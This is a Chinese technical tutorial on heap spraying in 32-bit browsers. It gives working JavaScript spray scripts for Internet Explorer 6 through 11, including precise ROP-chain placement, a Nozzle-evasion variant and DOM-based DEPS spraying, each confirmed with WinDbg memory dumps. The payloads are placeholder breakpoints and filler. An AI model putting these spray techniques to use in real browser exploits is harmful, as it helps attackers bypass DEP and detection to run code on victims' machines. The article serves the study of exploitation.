【技术分享】32位下的堆喷射技术

https://p5.ssl.qhimg.com/t01abbd4423a8d31af5.jpg

作者:seviezhou

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

什么是堆喷射

为了在浏览器攻击中获得可预测的shellcode地址,堆喷射(Heap Spray)技术被发明出来,Heap Spray技术在Exploit中的利用开始于2001年,针对浏览器的堆喷射一般通过JavaScript执行,通过JavaScript申请大段的堆内存,再通过漏洞控制EIP,跳到堆中可预测的地址处执行shellcode,Heap Spray技术不仅仅可以用于浏览器,对于Adobe PDF Reader等支持JavaScript的程序也可以使用堆喷射技术把shellcode放在可预测的地址,还有用图片进行Heap Spray的技术,堆喷射技术使得针对浏览器等程序的攻击变得相对简单化和稳定,而且可以写出更加通用的Exploit,虽然ASLRDEP的出现使得堆喷射的攻击更加困难,但精准的堆喷加上ROP也能够在这种情况下成功Exploit,下面会分别介绍对于不同版本IE浏览器的堆喷的不同之处。


用windbg调试浏览器

为了使用有关堆的调试命令,需要在windbg中配置符号表,只要在Symbol file path中输入:

SRV*c:windbgsymbols*http://msdl.microsoft.com/download/symbols

然后关闭windbg并点击保存工作空间。

然后讲一下调试中使用的主要命令:

!heap -stat显示被调试进程的所有堆使用情况:

0:007> !heap -stat
_HEAP 00140000
     Segments            00000002
         Reserved  bytes 00200000
         Committed bytes 0009d000
     VirtAllocBlocks     000001f5
         VirtAlloc bytes 80800050
...
...

!heap -a 00140000关于00140000处堆的详细情况,输出会有些多:

0:007> !heap -a 00140000
Index   Address  Name      Debugging options enabled
  1:   00140000 
    Segment at 00140000 to 00240000 (0007e000 bytes committed)
    Flags:                00000002
    ForceFlags:           00000000
    Granularity:          8 bytes
    Segment Reserve:      00100000
    Segment Commit:       00002000
    DeCommit Block Thres: 00000200
    DeCommit Total Thres: 00002000
    Total Free Size:      00000c0f
    Max. Allocation Size: 7ffdefff
    Lock Variable at:     00140608
    Next TagIndex:        0000
    Maximum TagIndex:     0000
    Tag Entries:          00000000
    PsuedoTag Entries:    00000000
    Virtual Alloc List:   00140050
    UCR FreeList:        00140598
    FreeList Usage:      00040078 00000040 00000000 00000000
...
...

!heap -stat -h 00140000可以查看00140000堆的分配统计数据:

0:007> !heap -stat -h 00140000
 heap @ 00140000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f5 - fa7c160  (99.78)
    8000 1 - 8000  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fb0 1 - 7fb0  (0.01)
    619c 1 - 619c  (0.01)
    614 e - 5518  (0.01)
    52ac 1 - 52ac  (0.01)
    4fe4 1 - 4fe4  (0.01)
...
...

!heap -flt s 7ffe0查看大小为7ffe0的内存,在堆喷的时候可以方便的找到payload所在的地址:

0:007> !heap -flt s 7ffe0
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        02240018 fffc 0000  [0b]   02240020    7ffe0 - (busy VirtualAlloc)
        01fe0018 fffc fffc  [0b]   01fe0020    7ffe0 - (busy VirtualAlloc)
        022c0018 fffc fffc  [0b]   022c0020    7ffe0 - (busy VirtualAlloc)
        02340018 fffc fffc  [0b]   02340020    7ffe0 - (busy VirtualAlloc)
...
...

这里HEAP_ENTRY是堆的头部,UserPtr是BSTR对象头部:

0:007> dd 02240018
02240018  00000020 00000b00 0007ffd4 90909090
02240028  90909090 90909090 90909090 90909090
02240038  90909090 90909090 90909090 90909090

!heap -p -a 0x0c0c0c0c查看0x0c0c0c0c处的数据属于哪个堆:

0:007> !heap -p -a 0x0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c0c0018 fffc 0000  [0b]   0c0c0020    7ffe0 - (busy VirtualAlloc)

还有在内存空间搜索字符串可以用s命令,-a表示搜索ascii,-u表示搜索unicode:

0:007> s -a 0x00000000 L?7fffffff "AAAA"
0018ef03  41 41 41 41 41 41 41 64-64 64 64 64 64 18 89 89  AAAAAAAdddddd...
0018ef04  41 41 41 41 41 41 64 64-64 64 64 64 18 89 89 89  AAAAAAdddddd....
...
...


堆喷射内存布局

在浏览器中分配的字符串都会被转换成unicode,所以为了准确传递字符,我们需要使用JavaScript中的unescape函数,这个函数用于解码字符串,所以用已经是unicode的字符串,在内存中就不会再次被转换成unicode了,用%u加在每两字节之前,注意两字节要反序排列。分配字符串后会变成BSTR字符串对象,含有四字节的头信息和两个NULL字节的结尾。

一般的堆喷射内存布局就是大量的nop指令(也称为滑板指令)加上shellcode,shellcode放在每个块的尾部,只要保证喷射堆块足够大,那么预测的地址处就会是nop指令,然后执行到shellcode。

在堆喷中最著名的地址要数0x0c0c0c0c了,解释一下为什么使用这个地址。如果在Exploit中通过覆盖堆栈中的虚表的话,使用这个地址就会十分合适,当虚函数被调用时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行,示意图:

   Stack
+---------+          Object
| obj_ptr | ---->  +--------+        Vtable
+---------+        |p_Vtable| ---> +-------+
|         |        +--------+      |p_func1| ----> func1
+---------+        |        |      +-------+
|         |        +--------+
+---------+

假如将obj_ptr覆盖为0x0c0c0c0c,将0x0c0c0c0c地址内的内容填为x0cx0cx0cx0c,那么顺着这条调用链,最后还是会调用0x0c0c0c0c地址处的指令,而且:

004010A0  0C 0C   OR AL,0C
004010A2  0C 0C   OR AL,0C

可见0c0c指令作用和nop一样,也可以作为滑板指令。

接下来计算一下到底需要多大的内存块才能喷射到0x0c0c0c0c:

0x0c0c0c0c = 202116108
202116108字节(b)=192.7529411兆字节(mb)

所以只要堆喷射大于200MB就肯定能够喷射到目标地,但由于分配的起始地址并不是从零开始,所以实际中并不需要那么大的内存,还有一个要注意的点就是unescape返回的对象在用.length计算长度时返回的是实际长度的一般,也就是说:

> s = unescape("%u4142%u4344%u4546")
> s.length
3

一份堆喷射的脚本可能看起来像这样:

<html>
<script>
    tag = unescape('%u4141%u4141');
    chunk = '';
    chunksize = 0x1000;
    nr_of_chunks = 200;
    for (counter = 0; counter < chunksize; counter++) {
        chunk += unescape('%u9090%u9090');
    }
    chunk = chunk.substring(0, chunksize - tag.length);
    testarray = new Array();
    for (counter = 0; counter < nr_of_chunks; counter++) {
        testarray[counter] = tag + chunk;
    }
</script>
</html>

通过数组分配大量内存。


XP下IE6和IE7的堆喷射

为了运行多个版本的IE,可以使用IE Collection安装多个版本的IE,这里在XP SP3上安装了IE6和IE7用于测试。

IE6和IE7上稳定的堆喷脚本如下:

<html>
<script>
    var shellcode = unescape('%u4141%u4141');
    var bigblock = unescape('%u9090%u9090');
    var headsize = 20;
    var slackspace = headsize + shellcode.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    var fillblock = bigblock.substring(0, slackspace);
    var block = bigblock.substring(0, bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    var memory = new Array();
    for (i = 0; i < 500; i++) {memory[i] = block + shellcode;}
</script>
</html>

分配了500块大小为0x40000 * 2的内存块(.length返回大小为实际大小一半),结果:

0:009> dd 0c0c0c0c
0c0c0c0c  90909090 90909090 90909090 90909090
0c0c0c1c  90909090 90909090 90909090 90909090
...

可以尝试多次,发现都是成功的,查看堆的状态:

0:009> !heap -stat -h 00140000
 heap @ 00140000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f5 - fa7c160  (99.78)
    8000 1 - 8000  (0.01)
    7fe0 1 - 7fe0  (0.01)
...

基本上块的大小都是7ffe0,也就是我们分配的0x40000 * 2。


Win7下的IE8的堆喷射

对于IE8浏览器,之前的脚本不再适用,而且IE8一般都配合了DEP,所以不仅需要堆喷射,还需要精准的堆喷射,使得预测的地址正好在ROP链的起始,否则绕不过DEP的防护。

对于JavaScript申请字符串并不总是从系统堆中申请,通常是由OLEAUT32.DLL中的堆管理器来进行管理,其中维护了一张缓存表,每当一块内存被释放,堆管理器就会把指向那块内存的指针放到缓存表中,当下次再次分配内存时,管理器会优先把缓存表中合适的内存块返回给程序。

缓存表有四个bin,每个bin可以容纳6块已经被释放的内存块,每个bin可容纳块的大小不同,大于32767 bytes的块直接被释放,不会缓存:

CacheEntry bin_1_32     [6];  // blocks from 1 to 32 bytes
CacheEntry bin_33_64    [6];  // blocks from 33 to 64 bytes
CacheEntry bin_65_256   [6];  // blocks from 65 to 265 bytes
CacheEntry bin_257_32768[6];  // blocks from 257 to 32768 bytes

我们需要保证每次分配内存都由系统堆处理,而不是缓存,通过缓存申请的堆空间可能在堆里的任何地方,所以预测的地址会变得不可靠,由于每个bin只能容纳6块,Alexander Sotirov提出了plunger技术,在堆喷前强制刷新所有缓存块,具体就是为每个bin申请其可容纳的最大堆块大小的内存,保证了所有缓存都是空的,接下来的分配都会由系统堆处理。

为了实现精准的堆喷,在IE8下我使用了heaplib.js这个JavaScript的堆管理库,Alexander Sotirov在Heap Feng Shui in JavaScript这篇文章中描述并实现了heaplib.js库。

heaplib中对于plunger的实现:

heapLib.ie.prototype.flushOleaut32 = function() {
    this.debug("Flushing the OLEAUT32 cache");
    // Free the maximum size blocks and push out all smaller blocks
    this.freeOleaut32("oleaut32");
    
    // Allocate the maximum sized blocks again, emptying the cache
    for (var i = 0; i < 6; i++) {
        this.allocOleaut32(32, "oleaut32");
        this.allocOleaut32(64, "oleaut32");
        this.allocOleaut32(256, "oleaut32");
        this.allocOleaut32(32768, "oleaut32");
    }
}

IE8下的脚本,需要包含heaplib.js,还有注意在IE8中不能把html文件直接拖到IE中,最好搭建本地服务器访问,可以把heaplib.js直接粘到下面文件的前面:

<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");    //Code to execute
var nops = unescape("%u9090%u9090");    //NOPs
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var shellcode =  nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
    heap_obj.alloc(block);
}
document.write("Spray done");
// Can't directly drag into iexplore
</script>
</html>

查看分配的内存:

0:016> !heap -flt s 7ffc0
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        037c0018 fff8 0000  [0b]   037c0020    7ffc0 - (busy VirtualAlloc)
        03850018 fff8 fff8  [0b]   03850020    7ffc0 - (busy VirtualAlloc)
        038e0018 fff8 fff8  [0b]   038e0020    7ffc0 - (busy VirtualAlloc)
        03970018 fff8 fff8  [0b]   03970020    7ffc0 - (busy VirtualAlloc)
        03a00018 fff8 fff8  [0b]   03a00020    7ffc0 - (busy VirtualAlloc)
        03a90018 fff8 fff8  [0b]   03a90020    7ffc0 - (busy VirtualAlloc)
        03b20018 fff8 fff8  [0b]   03b20020    7ffc0 - (busy VirtualAlloc)
        03bb0018 fff8 fff8  [0b]   03bb0020    7ffc0 - (busy VirtualAlloc)
...
...
        0bfe0018 fff8 fff8  [0b]   0bfe0020    7ffc0 - (busy VirtualAlloc)
        0c070018 fff8 fff8  [0b]   0c070020    7ffc0 - (busy VirtualAlloc)
        0c100018 fff8 fff8  [0b]   0c100020    7ffc0 - (busy VirtualAlloc)
...
...
0:016> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 140000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c070018 fff8 0000  [0b]   0c070020    7ffc0 - (busy VirtualAlloc)

可以发现地址都是以0x10000对齐的,这就为精准堆喷打下了基础,可以精确计算堆块中的位置,0x0c0c0c0c处于0x0c070018处的块中。

查看一下0x0c0c0018处的内存:

0:016> dd 0c0c0018
0c0c0018  90909090 cccccccc 90909090 90909090
0c0c0028  90909090 90909090 90909090 90909090

可以知道下一个块起始于0x0c0c0018+0x8,计算ROP起始偏移:

0x0c0c0c0c - 0x0c0c0018 + 0x8 = 0xbec
0xbec / 2 = 0x5f6

假设ROP链为AAAABBBBCCCCDDDD,shellcode为xccxccxccxcc,把脚本改为:

<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var padding = unescape("%u9090%u9090");
while (padding.length < 0x1000) padding += padding; // create big block of nops
offset_length = 0x5F6;
junk_offset = padding.substring(0, offset_length);
var shellcode = junk_offset + rop + code + padding.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i=0; i < 500; i++) {
    heap_obj.alloc(block);
}
document.write("Spray done");
</script>
</html>

查看预测地址:

0:019> dd 0c0c0c0c
0c0c0c0c  41414141 42424242 43434343 44444444
0c0c0c1c  cccccccc cccccccc cccccccc cccccccc
0c0c0c2c  cccccccc cccccccc cccccccc cccccccc

成功实现了精准堆喷射。


Vista下的IE9的堆喷射

IE8下的脚本在IE9下不再有用,因为IE9使用了Nozzle的防御措施,检测包含重复内容的内存申请,然后会阻止这样的申请,导致堆喷失败,由于我们的堆喷是精确的,所以前后的数据都不一定是滑板指令,可以是随机数,可以利用JavaScript的数学随机数生成随机串,绕过检测。

堆喷射脚本,同样需要包含heaplib.js:

<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%u6174%u7367"); //tags
for (var i=0; i < 0x800; i++) {
    var randomnumber1=Math.floor(Math.random()*90)+10;
    var randomnumber2=Math.floor(Math.random()*90)+10;
    var randomnumber3=Math.floor(Math.random()*90)+10;
    var randomnumber4=Math.floor(Math.random()*90)+10;
    var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
    BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
    var BUNST = unescape(BUNSTstr);
    while (BUNST.length < 0x1000) BUNST+= BUNST;
    var single_sprayblock = BUNST.substring(0, 0x800 - code.length) + code;
    while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
    sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
    heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>

首先堆喷是成功的:

0:017> dd 0c0c0c0c
0c0c0c0c  53885684 53885684 53885684 53885684
0c0c0c1c  53885684 53885684 53885684 53885684

由于IE9中的堆喷用之前的方法查看不到堆的情况,所以我把code设为tags,堆喷完成后在内存中搜索tags:

0:017> s -a 0x00000000 L?7fffffff "tags"
00419b75  74 61 67 73 0a 2f 2f 76-61 72 20 72 6f 70 20 3d  tags.//var rop =
01ff473f  74 61 67 73 20 28 61 74-74 72 69 62 75 74 65 73  tags (attributes
0207c23c  74 61 67 73 2e 20 41 6c-73 6f 20 61 64 64 69 6e  tags. Also addin
...
0396100c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396200c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396300c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396400c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396500c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396600c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396700c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396800c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396900c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
0396a00c  74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17  tags.9...9...9..
...
...

前面的是脚本在内存中的映射,看后面实际分配的内存,发现此时内存仍然是对齐的,按照0x1000对齐,计算得到偏移为0x5fe。

精准堆喷脚本:

<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc"); 
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var offset_length = 0x5fe;
for (var i=0; i < 0x800; i++) {
    var randomnumber1=Math.floor(Math.random()*90)+10;
    var randomnumber2=Math.floor(Math.random()*90)+10;
    var randomnumber3=Math.floor(Math.random()*90)+10;
    var randomnumber4=Math.floor(Math.random()*90)+10;
    var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
    BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
    var BUNST = unescape(BUNSTstr);
    while (BUNST.length < 0x1000) BUNST+= BUNST;
    junk_offset = BUNST.substring(0, offset_length);
    var single_sprayblock = junk_offset + rop + code + BUNST.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
    while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
    sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
    heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>

结果:

0:022> dd 0c0c0c0c
0c0c0c0c  41414141 42424242 43434343 44444444
0c0c0c1c  cccccccc 57376654 57376654 57376654

另外前人总结了不同浏览器下堆喷射的尺寸:

OS & Browser        Block syntax
XP SP3 – IE7        block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8        block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7     block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8     block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8          block = shellcode.substring(0, (0×80000-6)/2);


Win8下的IE10和IE11的堆喷射

IE9下的脚本在IE10和IE11中不再适用,IE10和IE11中无法再使用传统的BSTR字符串的方法,而要使用一种称为DEPS的技术,这种技术使用html的标签来进行堆喷射,具体就是创建大量的DOM对象,在对象的某一个属性中填入相应的字符串,这一技术的发明者给出了测试脚本:

<html>
<head></head>
<body>
<div id="blah"></div>
<script language="javascript">
    var div_container = document.getElementById("blah");
    div_container.style.cssText = "display:none";
    var data;
    offset = 0x104;
    junk = unescape("%u2020%u2020");
    while (junk.length < 0x1000) junk += junk;
    var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
    shellcode = unescape("%ucccc%ucccc");
    data = junk.substring(0, offset) + rop + shellcode
    data += junk.substring(0, 0x800 - offset - rop.length - shellcode.length);
    while (data.length < 0x80000) data += data;
    for (var i = 0; i < 0x500; i++)
    {
        var obj = document.createElement("button");
        obj.title = data.substring(0, 0x40000 - 0x58);
        div_container.appendChild(obj);
    }
    document.write("spray done!");
</script>
</body>
</html>

这个脚本先创建了一个div标签,然后加入了大量的button元素,将每个button元素的title设置为要喷射的字符串。

由于win8下现在默认安装的是IE11,而且IE10和IE11差不多,这里用IE11做实验,注意这里不再使用经典的0x0c0c0c0c作为预测地址,而是使用0x20302228作为预测地址,这也算是前人研究的结果。

win8下的IE11:

0:016> dd 20302228
20302228  41414141 42424242 43434343 44444444
20302238  cccccccc 20202020 20202020 20202020
20302248  20202020 20202020 20202020 20202020

对于火狐使用地址是0x20202210或0x20302210,对于IE8、IE9、IE10使用地址为0x20302228或0x20202228。

XP下的IE8:

0:021> dd 0x20302228
20302228  41414141 42424242 43434343 44444444
20302238  cccccccc 20202020 20202020 20202020
20302248  20202020 20202020 20202020 20202020

Vista下的IE9:

0:022> dd 0x20302228
20302228  41414141 42424242 43434343 44444444
20302238  cccccccc 20202020 20202020 20202020
20302248  20202020 20202020 20202020 20202020

这次的堆喷射脚本可能比之前喷射要慢一些。


总结

除了以上的方法,还有HTML5 SprayActionScript SprayArray Object Heap SprayingJIT Spray等方法进行堆喷射和绕过浏览器的安全机制,当然现在大部分系统都变成了64位,在64位下的堆喷射由于地址空间过大,所以堆喷射没有什么意义,但在小范围仍有用处。

(完)